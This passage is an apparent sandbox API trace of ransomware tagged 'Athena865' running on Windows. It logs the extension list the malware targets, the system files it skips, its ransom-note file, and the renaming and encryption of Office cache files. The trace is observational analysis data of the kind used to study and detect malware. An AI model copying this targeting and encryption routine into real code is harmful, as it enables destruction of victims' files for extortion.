[0054.505] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0054.505] lstrlenW (lpString="nrmlib") returned 6 [0054.505] lstrcmpiW (lpString1="UI.msi", lpString2="nrmlib") returned 1 [0054.505] lstrlenW (lpString="ns2") returned 3 [0054.505] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0054.505] lstrlenW (lpString="ns3") returned 3 [0054.505] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0054.505] lstrlenW (lpString="ns4") returned 3 [0054.505] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0054.505] lstrlenW (lpString="nsf") returned 3 [0054.505] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0054.505] lstrlenW (lpString="nv") returned 2 [0054.505] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0054.505] lstrlenW (lpString="nv2") returned 3 [0054.506] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0054.506] lstrlenW (lpString="nwdb") returned 4 [0054.506] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0054.506] lstrlenW (lpString="nyf") returned 3 [0054.506] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0054.506] lstrlenW (lpString="odb") returned 3 [0054.506] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0054.506] lstrlenW (lpString="odb") returned 3 [0054.506] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0054.506] lstrlenW (lpString="oqy") returned 3 [0054.506] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0054.506] lstrlenW (lpString="ora") returned 3 [0054.506] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0054.506] lstrlenW (lpString="orx") returned 3 [0054.506] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0054.506] lstrlenW (lpString="owc") returned 3 [0054.506] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0054.506] lstrlenW (lpString="p96") returned 3 [0054.506] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0054.506] lstrlenW (lpString="p97") returned 3 [0054.506] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0054.506] lstrlenW (lpString="pan") returned 3 [0054.506] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0054.506] lstrlenW (lpString="pdb") returned 3 [0054.506] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0054.506] lstrlenW (lpString="pdm") returned 3 [0054.506] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0054.506] lstrlenW (lpString="pnz") returned 3 [0054.506] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0054.506] lstrlenW (lpString="qry") returned 3 [0054.506] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0054.506] lstrlenW (lpString="qvd") returned 3 [0054.506] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0054.506] lstrlenW (lpString="rbf") returned 3 [0054.507] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0054.507] lstrlenW (lpString="rctd") returned 4 [0054.507] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0054.507] lstrlenW (lpString="rod") returned 3 [0054.507] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0054.507] lstrlenW (lpString="rodx") returned 4 [0054.507] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0054.507] lstrlenW (lpString="rpd") returned 3 [0054.507] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0054.507] lstrlenW (lpString="rsd") returned 3 [0054.507] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0054.507] lstrlenW (lpString="sas7bdat") returned 8 [0054.507] lstrcmpiW (lpString1="lMUI.msi", lpString2="sas7bdat") returned -1 [0054.507] lstrlenW (lpString="sbf") returned 3 [0054.507] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0054.507] lstrlenW (lpString="scx") returned 3 [0054.507] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0054.507] lstrlenW (lpString="sdb") returned 3 [0054.507] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0054.507] lstrlenW (lpString="sdc") returned 3 [0054.507] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0054.507] lstrlenW (lpString="sdf") returned 3 [0054.507] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0054.507] lstrlenW (lpString="sis") returned 3 [0054.507] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0054.507] lstrlenW (lpString="spq") returned 3 [0054.507] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0054.507] lstrlenW (lpString="te") returned 2 [0054.507] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0054.507] lstrlenW (lpString="teacher") returned 7 [0054.507] lstrcmpiW (lpString1="MUI.msi", lpString2="teacher") returned -1 [0054.507] lstrlenW (lpString="tmd") returned 3 [0054.507] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0054.508] lstrlenW (lpString="tps") returned 3 [0054.508] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0054.508] lstrlenW (lpString="trc") returned 3 [0054.508] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0054.508] lstrlenW (lpString="trc") returned 3 [0054.508] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0054.508] lstrlenW (lpString="trm") returned 3 [0054.508] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0054.508] lstrlenW (lpString="udb") returned 3 [0054.508] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0054.508] lstrlenW (lpString="udl") returned 3 [0054.508] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0054.508] lstrlenW (lpString="usr") returned 3 [0054.508] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0054.508] lstrlenW (lpString="v12") returned 3 [0054.508] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0054.508] lstrlenW (lpString="vis") returned 3 [0054.508] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0054.508] lstrlenW (lpString="vpd") returned 3 [0054.508] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0054.508] lstrlenW (lpString="vvv") returned 3 [0054.508] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0054.508] lstrlenW (lpString="wdb") returned 3 [0054.508] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0054.509] lstrlenW (lpString="wmdb") returned 4 [0054.509] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0054.509] lstrlenW (lpString="wrk") returned 3 [0054.509] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0054.509] lstrlenW (lpString="xdb") returned 3 [0054.509] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0054.509] lstrlenW (lpString="xld") returned 3 [0054.509] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0054.509] lstrlenW (lpString="xmlff") returned 5 [0054.509] lstrcmpiW (lpString1="I.msi", lpString2="xmlff") returned -1 [0054.509] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.Athena865") returned 85 [0054.509] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.athena865"), dwFlags=0x1) returned 1 [0054.518] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0054.518] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2506240) returned 1 [0054.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0054.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0054.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518788 [0054.518] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519e60) returned 1 [0054.519] CryptGenRandom (in: hProv=0x519e60, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0054.519] CryptReleaseContext (hProv=0x519e60, dwFlags=0x0) returned 1 [0054.519] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x264100, lpName=0x0) returned 0x154 [0054.521] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x64100) returned 0x1f0000 [0054.543] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0054.631] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0054.650] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519e60) returned 1 [0054.651] CryptGenRandom (in: hProv=0x519e60, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0054.651] CryptReleaseContext (hProv=0x519e60, dwFlags=0x0) returned 1 [0054.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0054.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0054.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0054.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0054.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0054.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0054.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0054.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0054.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0054.651] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0054.655] CloseHandle (hObject=0x154) returned 1 [0054.655] CloseHandle (hObject=0x17c) returned 1 [0054.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0054.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518788 | out: hHeap=0x4f0000) returned 1 [0054.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0054.664] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0054.664] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.664] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.664] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2=".") returned 1 [0054.664] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="..") returned 1 [0054.664] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="windows") returned -1 [0054.664] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="bootmgr") returned 1 [0054.664] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="temp") returned -1 [0054.664] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="pagefile.sys") returned -1 [0054.664] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="boot") returned 1 [0054.664] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="ids.txt") returned -1 [0054.664] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="ntuser.dat") returned -1 [0054.664] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="perflogs") returned -1 [0054.664] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="MSBuild") returned -1 [0054.664] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0054.664] lstrcpyW (in: lpString1=0x241e8c6, lpString2="ExcelMUI.xml" | out: lpString1="ExcelMUI.xml") returned="ExcelMUI.xml" [0054.665] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0054.665] lstrlenW (lpString="Athena865") returned 9 [0054.665] lstrcmpiW (lpString1="elMUI.xml", lpString2="Athena865") returned 1 [0054.665] lstrlenW (lpString=".dll") returned 4 [0054.665] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2=".dll") returned 1 [0054.665] lstrlenW (lpString=".lnk") returned 4 [0054.665] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2=".lnk") returned 1 [0054.665] lstrlenW (lpString=".ini") returned 4 [0054.665] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2=".ini") returned 1 [0054.665] lstrlenW (lpString=".sys") returned 4 [0054.665] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2=".sys") returned 1 [0054.665] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0054.665] lstrlenW (lpString="bak") returned 3 [0054.665] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0054.665] lstrlenW (lpString="ba_") returned 3 [0054.665] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0054.665] lstrlenW (lpString="dbb") returned 3 [0054.665] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0054.665] lstrlenW (lpString="vmdk") returned 4 [0054.665] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0054.665] lstrlenW (lpString="rar") returned 3 [0054.665] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0054.665] lstrlenW (lpString="zip") returned 3 [0054.665] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0054.665] lstrlenW (lpString="tgz") returned 3 [0054.665] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0054.665] lstrlenW (lpString="vbox") returned 4 [0054.665] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0054.665] lstrlenW (lpString="vdi") returned 3 [0054.665] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0054.665] lstrlenW (lpString="vhd") returned 3 [0054.665] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0054.665] lstrlenW (lpString="vhdx") returned 4 [0054.665] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0054.666] lstrlenW (lpString="avhd") returned 4 [0054.666] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0054.666] lstrlenW (lpString="db") returned 2 [0054.666] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0054.666] lstrlenW (lpString="db2") returned 3 [0054.666] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0054.666] lstrlenW (lpString="db3") returned 3 [0054.666] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0054.666] lstrlenW (lpString="dbf") returned 3 [0054.666] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0054.666] lstrlenW (lpString="mdf") returned 3 [0054.666] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0054.666] lstrlenW (lpString="mdb") returned 3 [0054.666] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0054.666] lstrlenW (lpString="sql") returned 3 [0054.666] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0054.666] lstrlenW (lpString="sqlite") returned 6 [0054.666] lstrcmpiW (lpString1="UI.xml", lpString2="sqlite") returned 1 [0054.666] lstrlenW (lpString="sqlite3") returned 7 [0054.666] lstrcmpiW (lpString1="MUI.xml", lpString2="sqlite3") returned -1 [0054.666] lstrlenW (lpString="sqlitedb") returned 8 [0054.666] lstrcmpiW (lpString1="lMUI.xml", lpString2="sqlitedb") returned -1 [0054.666] lstrlenW (lpString="xml") returned 3 [0054.666] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0054.666] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.Athena865") returned 85 [0054.666] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.athena865"), dwFlags=0x1) returned 1 [0054.667] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0054.667] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1565) returned 1 [0054.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0054.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0054.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518788 [0054.668] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519e60) returned 1 [0054.668] CryptGenRandom (in: hProv=0x519e60, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0054.668] CryptReleaseContext (hProv=0x519e60, dwFlags=0x0) returned 1 [0054.669] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x920, lpName=0x0) returned 0x154 [0054.670] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x920) returned 0x100000 [0054.671] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519e60) returned 1 [0054.672] CryptGenRandom (in: hProv=0x519e60, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0054.672] CryptReleaseContext (hProv=0x519e60, dwFlags=0x0) returned 1 [0054.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0054.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0054.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0054.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0054.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0054.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0054.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0054.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0054.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0054.672] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0054.672] CloseHandle (hObject=0x154) returned 1 [0054.673] CloseHandle (hObject=0x17c) returned 1 [0054.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0054.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518788 | out: hHeap=0x4f0000) returned 1 [0054.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0054.673] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd2fa6a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd2fa6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.673] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.673] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.673] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.673] lstrcmpiW (lpString1="Setup.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.673] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0054.673] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0054.673] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0054.673] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0054.673] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1 [0054.673] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1 [0054.673] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1 [0054.673] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1 [0054.673] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0054.673] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1 [0054.673] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1 [0054.673] lstrlenW (lpString="Setup.xml") returned 9 [0054.673] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0054.673] lstrlenW (lpString="Setup.xml") returned 9 [0054.673] lstrlenW (lpString="Athena865") returned 9 [0054.673] lstrlenW (lpString=".dll") returned 4 [0054.673] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1 [0054.673] lstrlenW (lpString=".lnk") returned 4 [0054.673] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1 [0054.674] lstrlenW (lpString=".ini") returned 4 [0054.674] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1 [0054.674] lstrlenW (lpString=".sys") returned 4 [0054.674] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1 [0054.674] lstrlenW (lpString="Setup.xml") returned 9 [0054.674] lstrlenW (lpString="bak") returned 3 [0054.674] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0054.674] lstrlenW (lpString="ba_") returned 3 [0054.674] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0054.674] lstrlenW (lpString="dbb") returned 3 [0054.674] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0054.674] lstrlenW (lpString="vmdk") returned 4 [0054.674] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0054.674] lstrlenW (lpString="rar") returned 3 [0054.674] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0054.674] lstrlenW (lpString="zip") returned 3 [0054.674] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0054.674] lstrlenW (lpString="tgz") returned 3 [0054.674] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0054.674] lstrlenW (lpString="vbox") returned 4 [0054.674] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0054.674] lstrlenW (lpString="vdi") returned 3 [0054.674] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0054.674] lstrlenW (lpString="vhd") returned 3 [0054.674] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0054.674] lstrlenW (lpString="vhdx") returned 4 [0054.674] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0054.674] lstrlenW (lpString="avhd") returned 4 [0054.674] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0054.674] lstrlenW (lpString="db") returned 2 [0054.674] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0054.674] lstrlenW (lpString="db2") returned 3 [0054.674] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0054.674] lstrlenW (lpString="db3") returned 3 [0054.675] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0054.675] lstrlenW (lpString="dbf") returned 3 [0054.675] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0054.675] lstrlenW (lpString="mdf") returned 3 [0054.675] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0054.675] lstrlenW (lpString="mdb") returned 3 [0054.675] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0054.675] lstrlenW (lpString="sql") returned 3 [0054.675] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0054.675] lstrlenW (lpString="sqlite") returned 6 [0054.675] lstrcmpiW (lpString1="up.xml", lpString2="sqlite") returned 1 [0054.675] lstrlenW (lpString="sqlite3") returned 7 [0054.675] lstrcmpiW (lpString1="tup.xml", lpString2="sqlite3") returned 1 [0054.675] lstrlenW (lpString="sqlitedb") returned 8 [0054.675] lstrcmpiW (lpString1="etup.xml", lpString2="sqlitedb") returned -1 [0054.675] lstrlenW (lpString="xml") returned 3 [0054.675] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0054.675] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865") returned 82 [0054.675] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all 